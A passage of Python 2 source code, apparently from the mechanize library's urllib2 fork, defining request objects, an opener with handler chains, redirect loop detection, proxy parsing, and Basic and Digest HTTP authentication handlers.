2.4\n    create_readline_wrapper = socket._fileobject\nelse:\n    def create_readline_wrapper(fh):\n        return socket._fileobject(fh, close=True)\n\n\n# python 2.4 splithost has a bug in empty path component case\n_hostprog = None\ndef splithost(url):\n    \"\"\"splithost('//host[:port]/path') --> 'host[:port]', '/path'.\"\"\"\n    global _hostprog\n    if _hostprog is None:\n        import re\n        _hostprog = re.compile('^//([^/?]*)(.*)$')\n\n    match = _hostprog.match(url)\n    if match: return match.group(1, 2)\n    return None, url\n\n\nfrom urllib import (unwrap, unquote, splittype, quote,\n     addinfourl, splitport,\n     splitattr, ftpwrapper, splituser, splitpasswd, splitvalue)\n\n# support for FileHandler, proxies via environment variables\nfrom urllib import localhost, url2pathname, getproxies\n\nfrom urllib2 import HTTPError, URLError\n\nimport _request\nimport _rfc3986\nimport _sockettimeout\n\nfrom _clientcookie import CookieJar\nfrom _response import closeable_response\n\n\n# used in User-Agent header sent\n__version__ = sys.version[:3]\n\n_opener = None\ndef urlopen(url, data=None, timeout=_sockettimeout._GLOBAL_DEFAULT_TIMEOUT):\n    global _opener\n    if _opener is None:\n        _opener = build_opener()\n    return _opener.open(url, data, timeout)\n\ndef install_opener(opener):\n    global _opener\n    _opener = opener\n\n# copied from cookielib.py\n_cut_port_re = re.compile(r\":\\d+$\")\ndef request_host(request):\n    \"\"\"Return request-host, as defined by RFC 2965.\n\n    Variation from RFC: returned value is lowercased, for convenient\n    comparison.\n\n    \"\"\"\n    url = request.get_full_url()\n    host = urlparse.urlparse(url)[1]\n    if host == \"\":\n        host = request.get_header(\"Host\", \"\")\n\n    # remove port, if present\n    host = _cut_port_re.sub(\"\", host, 1)\n    return host.lower()\n\nclass Request:\n\n    def __init__(self, url, data=None, headers={},\n                 origin_req_host=None, unverifiable=False):\n        # unwrap('<URL:type://host/path>') --> 'type://host/path'\n        self.__original = unwrap(url)\n        self.type = None\n        # self.__r_type is what's left after doing the splittype\n        self.host = None\n        self.port = None\n        self._tunnel_host = None\n        self.data = data\n        self.headers = {}\n        for key, value in headers.items():\n            self.add_header(key, value)\n        self.unredirected_hdrs = {}\n        if origin_req_host is None:\n            origin_req_host = request_host(self)\n        self.origin_req_host = origin_req_host\n        self.unverifiable = unverifiable\n\n    def __getattr__(self, attr):\n        # XXX this is a fallback mechanism to guard against these\n        # methods getting called in a non-standard order.  this may be\n        # too complicated and/or unnecessary.\n        # XXX should the __r_XXX attributes be public?\n        if attr[:12] == '_Request__r_':\n            name = attr[12:]\n            if hasattr(Request, 'get_' + name):\n                getattr(self, 'get_' + name)()\n                return getattr(self, attr)\n        raise AttributeError, attr\n\n    def get_method(self):\n        if self.has_data():\n            return \"POST\"\n        else:\n            return \"GET\"\n\n    # XXX these helper methods are lame\n\n    def add_data(self, data):\n        self.data = data\n\n    def has_data(self):\n        return self.data is not None\n\n    def get_data(self):\n        return self.data\n\n    def get_full_url(self):\n        return self.__original\n\n    def get_type(self):\n        if self.type is None:\n            self.type, self.__r_type = splittype(self.__original)\n            if self.type is None:\n                raise ValueError, \"unknown url type: %s\" % self.__original\n        return self.type\n\n    def get_host(self):\n        if self.host is None:\n            self.host, self.__r_host = splithost(self.__r_type)\n            if self.host:\n                self.host = unquote(self.host)\n        return self.host\n\n    def get_selector(self):\n        scheme, authority, path, query, fragment = _rfc3986.urlsplit(\n            self.__r_host)\n        if path == \"\":\n            path = \"/\"  # RFC 2616, section 3.2.2\n        fragment = None  # RFC 3986, section 3.5\n        return _rfc3986.urlunsplit([scheme, authority, path, query, fragment])\n\n    def set_proxy(self, host, type):\n        orig_host = self.get_host()\n        if self.get_type() == 'https' and not self._tunnel_host:\n            self._tunnel_host = orig_host\n        else:\n            self.type = type\n            self.__r_host = self.__original\n\n        self.host = host\n\n    def has_proxy(self):\n        \"\"\"Private method.\"\"\"\n        # has non-HTTPS proxy\n        return self.__r_host == self.__original\n\n    def get_origin_req_host(self):\n        return self.origin_req_host\n\n    def is_unverifiable(self):\n        return self.unverifiable\n\n    def add_header(self, key, val):\n        # useful for something like authentication\n        self.headers[key.capitalize()] = val\n\n    def add_unredirected_header(self, key, val):\n        # will not be added to a redirected request\n        self.unredirected_hdrs[key.capitalize()] = val\n\n    def has_header(self, header_name):\n        return (header_name in self.headers or\n                header_name in self.unredirected_hdrs)\n\n    def get_header(self, header_name, default=None):\n        return self.headers.get(\n            header_name,\n            self.unredirected_hdrs.get(header_name, default))\n\n    def header_items(self):\n        hdrs = self.unredirected_hdrs.copy()\n        hdrs.update(self.headers)\n        return hdrs.items()\n\nclass OpenerDirector:\n    def __init__(self):\n        client_version = \"Python-urllib/%s\" % __version__\n        self.addheaders = [('User-agent', client_version)]\n        # manage the individual handlers\n        self.handlers = []\n        self.handle_open = {}\n        self.handle_error = {}\n        self.process_response = {}\n        self.process_request = {}\n\n    def add_handler(self, handler):\n        if not hasattr(handler, \"add_parent\"):\n            raise TypeError(\"expected BaseHandler instance, got %r\" %\n                            type(handler))\n\n        added = False\n        for meth in dir(handler):\n            if meth in [\"redirect_request\", \"do_open\", \"proxy_open\"]:\n                # oops, coincidental match\n                continue\n\n            i = meth.find(\"_\")\n            protocol = meth[:i]\n            condition = meth[i+1:]\n\n            if condition.startswith(\"error\"):\n                j = condition.find(\"_\") + i + 1\n                kind = meth[j+1:]\n                try:\n                    kind = int(kind)\n                except ValueError:\n                    pass\n                lookup = self.handle_error.get(protocol, {})\n                self.handle_error[protocol] = lookup\n            elif condition == \"open\":\n                kind = protocol\n                lookup = self.handle_open\n            elif condition == \"response\":\n                kind = protocol\n                lookup = self.process_response\n            elif condition == \"request\":\n                kind = protocol\n                lookup = self.process_request\n            else:\n                continue\n\n            handlers = lookup.setdefault(kind, [])\n            if handlers:\n                bisect.insort(handlers, handler)\n            else:\n                handlers.append(handler)\n            added = True\n\n        if added:\n            # the handlers must work in an specific order, the order\n            # is specified in a Handler attribute\n            bisect.insort(self.handlers, handler)\n            handler.add_parent(self)\n\n    def close(self):\n        # Only exists for backwards compatibility.\n        pass\n\n    def _call_chain(self, chain, kind, meth_name, *args):\n        # Handlers raise an exception if no one else should try to handle\n        # the request, or return None if they can't but another handler\n        # could.  Otherwise, they return the response.\n        handlers = chain.get(kind, ())\n        for handler in handlers:\n            func = getattr(handler, meth_name)\n\n            result = func(*args)\n            if result is not None:\n                return result\n\n    def _open(self, req, data=None):\n        result = self._call_chain(self.handle_open, 'default',\n                                  'default_open', req)\n        if result:\n            return result\n\n        protocol = req.get_type()\n        result = self._call_chain(self.handle_open, protocol, protocol +\n                                  '_open', req)\n        if result:\n            return result\n\n        return self._call_chain(self.handle_open, 'unknown',\n                                'unknown_open', req)\n\n    def error(self, proto, *args):\n        if proto in ('http', 'https'):\n            # XXX http[s] protocols are special-cased\n            dict = self.handle_error['http'] # https is not different than http\n            proto = args[2]  # YUCK!\n            meth_name = 'http_error_%s' % proto\n            http_err = 1\n            orig_args = args\n        else:\n            dict = self.handle_error\n            meth_name = proto + '_error'\n            http_err = 0\n        args = (dict, proto, meth_name) + args\n        result = self._call_chain(*args)\n        if result:\n            return result\n\n        if http_err:\n            args = (dict, 'default', 'http_error_default') + orig_args\n            return self._call_chain(*args)\n\n# XXX probably also want an abstract factory that knows when it makes\n# sense to skip a superclass in favor of a subclass and when it might\n# make sense to include both\n\ndef build_opener(*handlers):\n    \"\"\"Create an opener object from a list of handlers.\n\n    The opener will use several default handlers, including support\n    for HTTP, FTP and when applicable, HTTPS.\n\n    If any of the handlers passed as arguments are subclasses of the\n    default handlers, the default handlers will not be used.\n    \"\"\"\n    import types\n    def isclass(obj):\n        return isinstance(obj, (types.ClassType, type))\n\n    opener = OpenerDirector()\n    default_classes = [ProxyHandler, UnknownHandler, HTTPHandler,\n                       HTTPDefaultErrorHandler, HTTPRedirectHandler,\n                       FTPHandler, FileHandler, HTTPErrorProcessor]\n    if hasattr(httplib, 'HTTPS'):\n        default_classes.append(HTTPSHandler)\n    skip = set()\n    for klass in default_classes:\n        for check in handlers:\n            if isclass(check):\n                if issubclass(check, klass):\n                    skip.add(klass)\n            elif isinstance(check, klass):\n                skip.add(klass)\n    for klass in skip:\n        default_classes.remove(klass)\n\n    for klass in default_classes:\n        opener.add_handler(klass())\n\n    for h in handlers:\n        if isclass(h):\n            h = h()\n        opener.add_handler(h)\n    return opener\n\nclass BaseHandler:\n    handler_order = 500\n\n    def add_parent(self, parent):\n        self.parent = parent\n\n    def close(self):\n        # Only exists for backwards compatibility\n        pass\n\n    def __lt__(self, other):\n        if not hasattr(other, \"handler_order\"):\n            # Try to preserve the old behavior of having custom classes\n            # inserted after default ones (works only for custom user\n            # classes which are not aware of handler_order).\n            return True\n        return self.handler_order < other.handler_order\n\n\nclass HTTPErrorProcessor(BaseHandler):\n    \"\"\"Process HTTP error responses.\n\n    The purpose of this handler is to to allow other response processors a\n    look-in by removing the call to parent.error() from\n    AbstractHTTPHandler.\n\n    For non-2xx error codes, this just passes the job on to the\n    Handler.<proto>_error_<code> methods, via the OpenerDirector.error method.\n    Eventually, HTTPDefaultErrorHandler will raise an HTTPError if no other\n    handler handles the error.\n\n    \"\"\"\n    handler_order = 1000  # after all other processors\n\n    def http_response(self, request, response):\n        code, msg, hdrs = response.code, response.msg, response.info()\n\n        # According to RFC 2616, \"2xx\" code indicates that the client's\n        # request was successfully received, understood, and accepted.\n        if not (200 <= code < 300):\n            # hardcoded http is NOT a bug\n            response = self.parent.error(\n                'http', request, response, code, msg, hdrs)\n\n        return response\n\n    https_response = http_response\n\nclass HTTPDefaultErrorHandler(BaseHandler):\n    def http_error_default(self, req, fp, code, msg, hdrs):\n        # why these error methods took the code, msg, headers args in the first\n        # place rather than a response object, I don't know, but to avoid\n        # multiple wrapping, we're discarding them\n\n        if isinstance(fp, HTTPError):\n            response = fp\n        else:\n            response = HTTPError(\n                req.get_full_url(), code, msg, hdrs, fp)\n        assert code == response.code\n        assert msg == response.msg\n        assert hdrs == response.hdrs\n        raise response\n\nclass HTTPRedirectHandler(BaseHandler):\n    # maximum number of redirections to any single URL\n    # this is needed because of the state that cookies introduce\n    max_repeats = 4\n    # maximum total number of redirections (regardless of URL) before\n    # assuming we're in a loop\n    max_redirections = 10\n\n    # Implementation notes:\n\n    # To avoid the server sending us into an infinite loop, the request\n    # object needs to track what URLs we have already seen.  Do this by\n    # adding a handler-specific attribute to the Request object.  The value\n    # of the dict is used to count the number of times the same URL has\n    # been visited.  This is needed because visiting the same URL twice\n    # does not necessarily imply a loop, thanks to state introduced by\n    # cookies.\n\n    # Always unhandled redirection codes:\n    # 300 Multiple Choices: should not handle this here.\n    # 304 Not Modified: no need to handle here: only of interest to caches\n    #     that do conditional GETs\n    # 305 Use Proxy: probably not worth dealing with here\n    # 306 Unused: what was this for in the previous versions of protocol??\n\n    def redirect_request(self, req, fp, code, msg, headers, newurl):\n        \"\"\"Return a Request or None in response to a redirect.\n\n        This is called by the http_error_30x methods when a\n        redirection response is received.  If a redirection should\n        take place, return a new Request to allow http_error_30x to\n        perform the redirect.  Otherwise, raise HTTPError if no-one\n        else should try to handle this url.  Return None if you can't\n        but another Handler might.\n        \"\"\"\n        m = req.get_method()\n        if (code in (301, 302, 303, 307, \"refresh\") and m in (\"GET\", \"HEAD\")\n            or code in (301, 302, 303, \"refresh\") and m == \"POST\"):\n            # Strictly (according to RFC 2616), 301 or 302 in response\n            # to a POST MUST NOT cause a redirection without confirmation\n            # from the user (of urllib2, in this case).  In practice,\n            # essentially all clients do redirect in this case, so we do\n            # the same.\n            # TODO: really refresh redirections should be visiting; tricky to fix\n            new = _request.Request(\n                newurl,\n                headers=req.headers,\n                origin_req_host=req.get_origin_req_host(),\n                unverifiable=True,\n                visit=False,\n                timeout=req.timeout)\n            new._origin_req = getattr(req, \"_origin_req\", req)\n            return new\n        else:\n            raise HTTPError(req.get_full_url(), code, msg, headers, fp)\n\n    def http_error_302(self, req, fp, code, msg, headers):\n        # Some servers (incorrectly) return multiple Location headers\n        # (so probably same goes for URI).  Use first header.\n        if 'location' in headers:\n            newurl = headers.getheaders('location')[0]\n        elif 'uri' in headers:\n            newurl = headers.getheaders('uri')[0]\n        else:\n            return\n        newurl = _rfc3986.clean_url(newurl, \"latin-1\")\n        newurl = _rfc3986.urljoin(req.get_full_url(), newurl)\n\n        # XXX Probably want to forget about the state of the current\n        # request, although that might interact poorly with other\n        # handlers that also use handler-specific request attributes\n        new = self.redirect_request(req, fp, code, msg, headers, newurl)\n        if new is None:\n            return\n\n        # loop detection\n        # .redirect_dict has a key url if url was previously visited.\n        if hasattr(req, 'redirect_dict'):\n            visited = new.redirect_dict = req.redirect_dict\n            if (visited.get(newurl, 0) >= self.max_repeats or\n                len(visited) >= self.max_redirections):\n                raise HTTPError(req.get_full_url(), code,\n                                self.inf_msg + msg, headers, fp)\n        else:\n            visited = new.redirect_dict = req.redirect_dict = {}\n        visited[newurl] = visited.get(newurl, 0) + 1\n\n        # Don't close the fp until we are sure that we won't use it\n        # with HTTPError.\n        fp.read()\n        fp.close()\n\n        return self.parent.open(new)\n\n    http_error_301 = http_error_303 = http_error_307 = http_error_302\n    http_error_refresh = http_error_302\n\n    inf_msg = \"The HTTP server returned a redirect error that would \" \\\n              \"lead to an infinite loop.\\n\" \\\n              \"The last 30x error message was:\\n\"\n\n\ndef _parse_proxy(proxy):\n    \"\"\"Return (scheme, user, password, host/port) given a URL or an authority.\n\n    If a URL is supplied, it must have an authority (host:port) component.\n    According to RFC 3986, having an authority component means the URL must\n    have two slashes after the scheme:\n\n    >>> _parse_proxy('file:/ftp.example.com/')\n    Traceback (most recent call last):\n    ValueError: proxy URL with no authority: 'file:/ftp.example.com/'\n\n    The first three items of the returned tuple may be None.\n\n    Examples of authority parsing:\n\n    >>> _parse_proxy('proxy.example.com')\n    (None, None, None, 'proxy.example.com')\n    >>> _parse_proxy('proxy.example.com:3128')\n    (None, None, None, 'proxy.example.com:3128')\n\n    The authority component may optionally include userinfo (assumed to be\n    username:password):\n\n    >>> _parse_proxy('joe:password@proxy.example.com')\n    (None, 'joe', 'password', 'proxy.example.com')\n    >>> _parse_proxy('joe:password@proxy.example.com:3128')\n    (None, 'joe', 'password', 'proxy.example.com:3128')\n\n    Same examples, but with URLs instead:\n\n    >>> _parse_proxy('http://proxy.example.com/')\n    ('http', None, None, 'proxy.example.com')\n    >>> _parse_proxy('http://proxy.example.com:3128/')\n    ('http', None, None, 'proxy.example.com:3128')\n    >>> _parse_proxy('http://joe:password@proxy.example.com/')\n    ('http', 'joe', 'password', 'proxy.example.com')\n    >>> _parse_proxy('http://joe:password@proxy.example.com:3128')\n    ('http', 'joe', 'password', 'proxy.example.com:3128')\n\n    Everything after the authority is ignored:\n\n    >>> _parse_proxy('ftp://joe:password@proxy.example.com/rubbish:3128')\n    ('ftp', 'joe', 'password', 'proxy.example.com')\n\n    Test for no trailing '/' case:\n\n    >>> _parse_proxy('http://joe:password@proxy.example.com')\n    ('http', 'joe', 'password', 'proxy.example.com')\n\n    \"\"\"\n    scheme, r_scheme = splittype(proxy)\n    if not r_scheme.startswith(\"/\"):\n        # authority\n        scheme = None\n        authority = proxy\n    else:\n        # URL\n        if not r_scheme.startswith(\"//\"):\n            raise ValueError(\"proxy URL with no authority: %r\" % proxy)\n        # We have an authority, so for RFC 3986-compliant URLs (by ss 3.\n        # and 3.3.), path is empty or starts with '/'\n        end = r_scheme.find(\"/\", 2)\n        if end == -1:\n            end = None\n        authority = r_scheme[2:end]\n    userinfo, hostport = splituser(authority)\n    if userinfo is not None:\n        user, password = splitpasswd(userinfo)\n    else:\n        user = password = None\n    return scheme, user, password, hostport\n\nclass ProxyHandler(BaseHandler):\n    # Proxies must be in front\n    handler_order = 100\n\n    def __init__(self, proxies=None, proxy_bypass=None):\n        if proxies is None:\n            proxies = getproxies()\n\n        assert hasattr(proxies, 'has_key'), \"proxies must be a mapping\"\n        self.proxies = proxies\n        for type, url in proxies.items():\n            setattr(self, '%s_open' % type,\n                    lambda r, proxy=url, type=type, meth=self.proxy_open: \\\n                    meth(r, proxy, type))\n        if proxy_bypass is None:\n            proxy_bypass = urllib.proxy_bypass\n        self._proxy_bypass = proxy_bypass\n\n    def proxy_open(self, req, proxy, type):\n        orig_type = req.get_type()\n        proxy_type, user, password, hostport = _parse_proxy(proxy)\n\n        if proxy_type is None:\n            proxy_type = orig_type\n\n        if req.get_host() and self._proxy_bypass(req.get_host()):\n            return None\n\n        if user and password:\n            user_pass = '%s:%s' % (unquote(user), unquote(password))\n            creds = base64.b64encode(user_pass).strip()\n            req.add_header('Proxy-authorization', 'Basic ' + creds)\n        hostport = unquote(hostport)\n        req.set_proxy(hostport, proxy_type)\n        if orig_type == proxy_type or orig_type == 'https':\n            # let other handlers take care of it\n            return None\n        else:\n            # need to start over, because the other handlers don't\n            # grok the proxy's URL type\n            # e.g. if we have a constructor arg proxies like so:\n            # {'http': 'ftp://proxy.example.com'}, we may end up turning\n            # a request for http://acme.example.com/a into one for\n            # ftp://proxy.example.com/a\n            return self.parent.open(req)\n\n\nclass HTTPPasswordMgr:\n\n    def __init__(self):\n        self.passwd = {}\n\n    def add_password(self, realm, uri, user, passwd):\n        # uri could be a single URI or a sequence\n        if isinstance(uri, basestring):\n            uri = [uri]\n        if not realm in self.passwd:\n            self.passwd[realm] = {}\n        for default_port in True, False:\n            reduced_uri = tuple(\n                [self.reduce_uri(u, default_port) for u in uri])\n            self.passwd[realm][reduced_uri] = (user, passwd)\n\n    def find_user_password(self, realm, authuri):\n        domains = self.passwd.get(realm, {})\n        for default_port in True, False:\n            reduced_authuri = self.reduce_uri(authuri, default_port)\n            for uris, authinfo in domains.iteritems():\n                for uri in uris:\n                    if self.is_suburi(uri, reduced_authuri):\n                        return authinfo\n        return None, None\n\n    def reduce_uri(self, uri, default_port=True):\n        \"\"\"Accept authority or URI and extract only the authority and path.\"\"\"\n        # note HTTP URLs do not have a userinfo component\n        parts = urlparse.urlsplit(uri)\n        if parts[1]:\n            # URI\n            scheme = parts[0]\n            authority = parts[1]\n            path = parts[2] or '/'\n        else:\n            # host or host:port\n            scheme = None\n            authority = uri\n            path = '/'\n        host, port = splitport(authority)\n        if default_port and port is None and scheme is not None:\n            dport = {\"http\": 80,\n                     \"https\": 443,\n                     }.get(scheme)\n            if dport is not None:\n                authority = \"%s:%d\" % (host, dport)\n        return authority, path\n\n    def is_suburi(self, base, test):\n        \"\"\"Check if test is below base in a URI tree\n\n        Both args must be URIs in reduced form.\n        \"\"\"\n        if base == test:\n            return True\n        if base[0] != test[0]:\n            return False\n        common = posixpath.commonprefix((base[1], test[1]))\n        if len(common) == len(base[1]):\n            return True\n        return False\n\n\nclass HTTPPasswordMgrWithDefaultRealm(HTTPPasswordMgr):\n\n    def find_user_password(self, realm, authuri):\n        user, password = HTTPPasswordMgr.find_user_password(self, realm,\n                                                            authuri)\n        if user is not None:\n            return user, password\n        return HTTPPasswordMgr.find_user_password(self, None, authuri)\n\n\nclass AbstractBasicAuthHandler:\n\n    # XXX this allows for multiple auth-schemes, but will stupidly pick\n    # the last one with a realm specified.\n\n    # allow for double- and single-quoted realm values\n    # (single quotes are a violation of the RFC, but appear in the wild)\n    rx = re.compile('(?:.*,)*[ \\t]*([^ \\t]+)[ \\t]+'\n                    'realm=([\"\\'])(.*?)\\\\2', re.I)\n\n    # XXX could pre-emptively send auth info already accepted (RFC 2617,\n    # end of section 2, and section 1.2 immediately after \"credentials\"\n    # production).\n\n    def __init__(self, password_mgr=None):\n        if password_mgr is None:\n            password_mgr = HTTPPasswordMgr()\n        self.passwd = password_mgr\n        self.add_password = self.passwd.add_password\n\n    def http_error_auth_reqed(self, authreq, host, req, headers):\n        # host may be an authority (without userinfo) or a URL with an\n        # authority\n        # XXX could be multiple headers\n        authreq = headers.get(authreq, None)\n        if authreq:\n            mo = AbstractBasicAuthHandler.rx.search(authreq)\n            if mo:\n                scheme, quote, realm = mo.groups()\n                if scheme.lower() == 'basic':\n                    return self.retry_http_basic_auth(host, req, realm)\n\n    def retry_http_basic_auth(self, host, req, realm):\n        user, pw = self.passwd.find_user_password(realm, host)\n        if pw is not None:\n            raw = \"%s:%s\" % (user, pw)\n            auth = 'Basic %s' % base64.b64encode(raw).strip()\n            if req.headers.get(self.auth_header, None) == auth:\n                return None\n            newreq = copy.copy(req)\n            newreq.add_header(self.auth_header, auth)\n            newreq.visit = False\n            return self.parent.open(newreq)\n        else:\n            return None\n\n\nclass HTTPBasicAuthHandler(AbstractBasicAuthHandler, BaseHandler):\n\n    auth_header = 'Authorization'\n\n    def http_error_401(self, req, fp, code, msg, headers):\n        url = req.get_full_url()\n        return self.http_error_auth_reqed('www-authenticate',\n                                          url, req, headers)\n\n\nclass ProxyBasicAuthHandler(AbstractBasicAuthHandler, BaseHandler):\n\n    auth_header = 'Proxy-authorization'\n\n    def http_error_407(self, req, fp, code, msg, headers):\n        # http_error_auth_reqed requires that there is no userinfo component in\n        # authority.  Assume there isn't one, since urllib2 does not (and\n        # should not, RFC 3986 s. 3.2.1) support requests for URLs containing\n        # userinfo.\n        authority = req.get_host()\n        return self.http_error_auth_reqed('proxy-authenticate',\n                                          authority, req, headers)\n\n\ndef randombytes(n):\n    \"\"\"Return n random bytes.\"\"\"\n    # Use /dev/urandom if it is available.  Fall back to random module\n    # if not.  It might be worthwhile to extend this function to use\n    # other platform-specific mechanisms for getting random bytes.\n    if os.path.exists(\"/dev/urandom\"):\n        f = open(\"/dev/urandom\")\n        s = f.read(n)\n        f.close()\n        return s\n    else:\n        L = [chr(random.randrange(0, 256)) for i in range(n)]\n        return \"\".join(L)\n\nclass AbstractDigestAuthHandler:\n    # Digest authentication is specified in RFC 2617.\n\n    # XXX The client does not inspect the Authentication-Info header\n    # in a successful response.\n\n    # XXX It should be possible to test this implementation against\n    # a mock server that just generates a static set of challenges.\n\n    # XXX qop=\"auth-int\" supports is shaky\n\n    def __init__(self, passwd=None):\n        if passwd is None:\n            passwd = HTTPPasswordMgr()\n        self.passwd = passwd\n        self.add_password = self.passwd.add_password\n        self.retried = 0\n        self.nonce_count = 0\n        self.last_nonce = None\n\n    def reset_retry_count(self):\n        self.retried = 0\n\n    def http_error_auth_reqed(self, auth_header, host, req, headers):\n        authreq = headers.get(auth_header, None)\n        if self.retried > 5:\n            # Don't fail endlessly - if we failed once, we'll probably\n            # fail a second time. Hm. Unless the Password Manager is\n            # prompting for the information. Crap. This isn't great\n            # but it's better than the current 'repeat until recursion\n            # depth exceeded' approach <wink>\n            raise HTTPError(req.get_full_url(), 401, \"digest auth failed\",\n                            headers, None)\n        else:\n            self.retried += 1\n        if authreq:\n            scheme = authreq.split()[0]\n            if scheme.lower() == 'digest':\n                return self.retry_http_digest_auth(req, authreq)\n\n    def retry_http_digest_auth(self, req, auth):\n        token, challenge = auth.split(' ', 1)\n        chal = parse_keqv_list(parse_http_list(challenge))\n        auth = self.get_authorization(req, chal)\n        if auth:\n            auth_val = 'Digest %s' % auth\n            if req.headers.get(self.auth_header, None) == auth_val:\n                return None\n            newreq = copy.copy(req)\n            newreq.add_unredirected_header(self.auth_header, auth_val)\n            newreq.visit = False\n            return self.parent.open(newreq)\n\n    def get_cnonce(self, nonce):\n        # The cnonce-value is an opaque\n        # quoted string value provided by the client and used by both client\n        # and server to avoid chosen plaintext attacks, to provide mutual\n        # authentication, and to provide some message integrity protection.\n        # This isn't a fabulous effort, but it's probably Good Enough.\n        dig = sha1_digest(\"%s:%s:%s:%s\" % (self.nonce_count, nonce,\n                                           time.ctime(), randombytes(8)))\n        return dig[:16]\n\n    def get_authorization(self, req, chal):\n        try:\n            realm = chal['realm']\n            nonce = chal['nonce']\n            qop = chal.get('qop')\n            algorithm = chal.get('algorithm', 'MD5')\n            # mod_digest doesn't send an opaque, even though it isn't\n            # supposed to be optional\n            opaque = chal.get('opaque', None)\n        except KeyError:\n            return None\n\n        H, KD = self.get_algorithm_impls(algorithm)\n        if H is None:\n            return None\n\n        user, pw = self.passwd.find_user_password(realm, req.get_full_url())\n        if user is None:\n            return None\n\n        # XXX not implemented yet\n        if req.has_data():\n            entdig = self.get_entity_digest(req.get_data(), chal)\n        else:\n            entdig = None\n\n        A1 = \"%s:%s:%s\" % (user, realm, pw)\n        A2 = \"%s:%s\" % (req.get_method(),\n                        # XXX selector: what about proxies and full urls\n                        req.get_selector())\n        if qop == 'auth':\n            if nonce == self.last_nonce:\n                self.nonce_count += 1\n            else:\n                self.nonce_count = 1\n                self.last_nonce = nonce\n\n            ncvalue = '%08x' % self.nonce_count\n            cnonce = self.get_cnonce(nonce)\n            noncebit = \"%s:%s:%s:%s:%s\" % (nonce, ncvalue, cnonce, qop, H(A2))\n            respdig = KD(H(A1), noncebit)\n        elif qop is None:\n            respdig = KD(H(A1), \"%s:%s\" % (nonce, H(A2)))\n        else:\n            # XXX handle auth-int.\n            logger = logging.getLogger(\"mechanize.auth\")\n            logger.info(\"digest auth auth-int qop is not supported, not \"\n                        \"handling digest authentication\")\n            return None\n\n        # XXX should the partial digests be encoded too?\n\n        base = 'username=\"%s\", realm=\"%s\", nonce=\"%s\", uri=\"%s\", ' \\\n               'response=\"%s\"' % (user, realm, nonce, req.get_selector(),\n                                  respdig)\n        if opaque:\n            base += ', opaque=\"%s\"' % opaque\n        if entdig:\n            base += ', digest=\"%s\"' % entdig\n        base += ', algorithm=\"%s\"' % algorithm\n        if qop:\n            base += ', qop=auth, nc=%s, cnonce=\"%s\"' % (ncvalue, cnonce)\n        return base\n\n    def get_algorithm_impls(self, algorithm):\n        # algorithm should be case-insensitive according to RFC2617\n        algorithm = algorithm.upper()\n        if algorithm == 'MD5':\n            H = md5_digest\n        elif algorithm == 'SHA':\n            H = sha1_digest\n        # XXX MD5-sess\n        KD = lambda s, d: H(\"%s:%s\" % (s, d))\n        return H, KD\n\n    def get_entity_digest(self, data, chal):\n        # XXX not implemented yet\n        return None\n\n\nclass HTTPDigestAuthHandler(BaseHandler, AbstractDigestAuthHandler):\n    \"\"\"An authentication protocol defined by RFC 2069\n\n    Digest authentication improves on basic authentication because it\n    does not transmit passwords in the clear.\n    \"\"\"\n\n    auth_header = 'Authorization'\n    handler_order = 490  # before Basic auth\n\n    def http_error_401(self, req, fp, code, msg, headers):\n        host = urlparse.urlparse(req.get_full_url())[1]\n        retry = self.http_error_auth_reqed('www-authenticate',\n                                           host, req, headers)\n        self.reset_retry_count()\n        return retry\n\n\nclass ProxyDigestAuthHandler(BaseHandler, AbstractDigestAuthHandler):\n\n    auth_header = 'Proxy-Authorization'\n    handler_order = 490  # before Basic auth\n\n    def http_error_407(self, req, fp, code, msg, headers):\n        host = req.get_host()\n        retry = self.http_error_auth_reqed('proxy-authenticate',\n                                           host, req, headers)\n        self.reset_retry_count()\n        return retry\n\nclass AbstractHTTPHandler(BaseHandler):\n\n    def __init__(self, debuglevel=0):\n        self._debuglevel = debuglevel\n\n    def set_http_debuglevel(self, level):\n        self._debuglevel = level\n\n    def do_request_(self, request):\n        host = request.get_host()\n        if not host:\n            raise URLError('no host given')\n\n        if request.has_data():  # POST\n            data = request.get_data()\n            if not request.has_header('Content-type'):\n                request.add_unredirected_header(\n                    'Content-type',\n                    'application/x-www-form-urlencoded')\n            if not request.has_header('Content-length'):\n                request.add_unredirected_header(\n                    'Content-length', '%d' % len(data))\n\n        sel_host = host\n        if request.has_proxy():\n            scheme, sel = splittype(request.get_selector())\n            sel_host, sel_path = splithost(sel)\n\n        if not request.has_header('Host'):\n            request.add_unredirected_header('Host', sel_host)\n        for name, value in self.parent.addheaders:\n            name = name.capitalize()\n            if not request.has_header(name):\n                request.add_unredirected_header(name, value)\n\n        return request\n\n    def do_open(self, http_class, req):\n        \"\"\"Return an addinfourl object for the request, using http_class.\n\n        http_class must implement the HTTPConnection API from httplib.\n        The addinfourl return value is a file-like object.  It also\n        has methods and attributes including:\n            - info(): return a mimetools.Message object for the headers\n            - geturl(): return the original request URL\n            - code: HTTP status code\n        \"\"\"\n        host_port = req.get_host()\n        if not host_port:\n            raise URLError('no host given')\n\n        try:\n            h = http_class(host_port, timeout=req.timeout)\n        except TypeError:\n            # Python < 2.6, no per-connection timeout support\n            h = http_class(host_port)\n        h.set_debuglevel(self._debuglevel)\n\n        headers = dict(req.headers)\n        headers.update(req.unredirected_hdrs)\n        # We want to make an HTTP/1.1 request, but the addinfourl\n        # class isn't prepared to deal with a persistent connection.\n        # It will try to read all remaining data from the socket,\n        # which will block while the server waits for the next request.\n        # So make sure the connection gets closed after the (only)\n        # request.\n        headers[\"Connection\"] = \"close\"\n        headers = dict(\n            (name.title(), val) for name, val in headers.items())\n\n        if req._tunnel_host:\n            if not hasattr(h, \"set_tunnel\"):\n                if not hasattr(h, \"_set_tunnel\"):\n                    raise URLError(\"HTTPS through proxy not supported \"\n                                   \"(Python >= 2.6.4 required)\")\n                else:\n                    # python 2.6\n                    set_tunnel = h._set_tunnel\n            else:\n                set_tunnel = h.set_tunnel\n            set_tunnel(req._tunnel_host)\n\n        try:\n            h.request(req.get_method(), req.get_selector(), req.data, headers)\n            r = h.getresponse()\n        except socket.error, err: # XXX what error?\n            raise URLError(err)\n\n        # Pick apart the HTTPResponse object to get the addinfourl\n        # object initialized properly.\n\n        # Wrap the HTTPResponse object in socket's file object adapter\n        # for Windows.  That adapter calls recv(), so delegate recv()\n        # to read().  This weird wrapping allows the returned object to\n        # have readline() and readlines() methods.\n\n        # XXX It might be better to extract the read buffering code\n        # out of socket._fileobject() and into a base class.\n\n        r.recv = r.read\n        fp = create_readline_wrapper(r)\n\n        resp = closeable_response(fp, r.msg, req.get_full_url(),\n                                  r.status, r.reason)\n        return resp\n\n\nclass HTTPHandler(AbstractHTTPHandler):\n\n    def http_open(self, req):\n        return 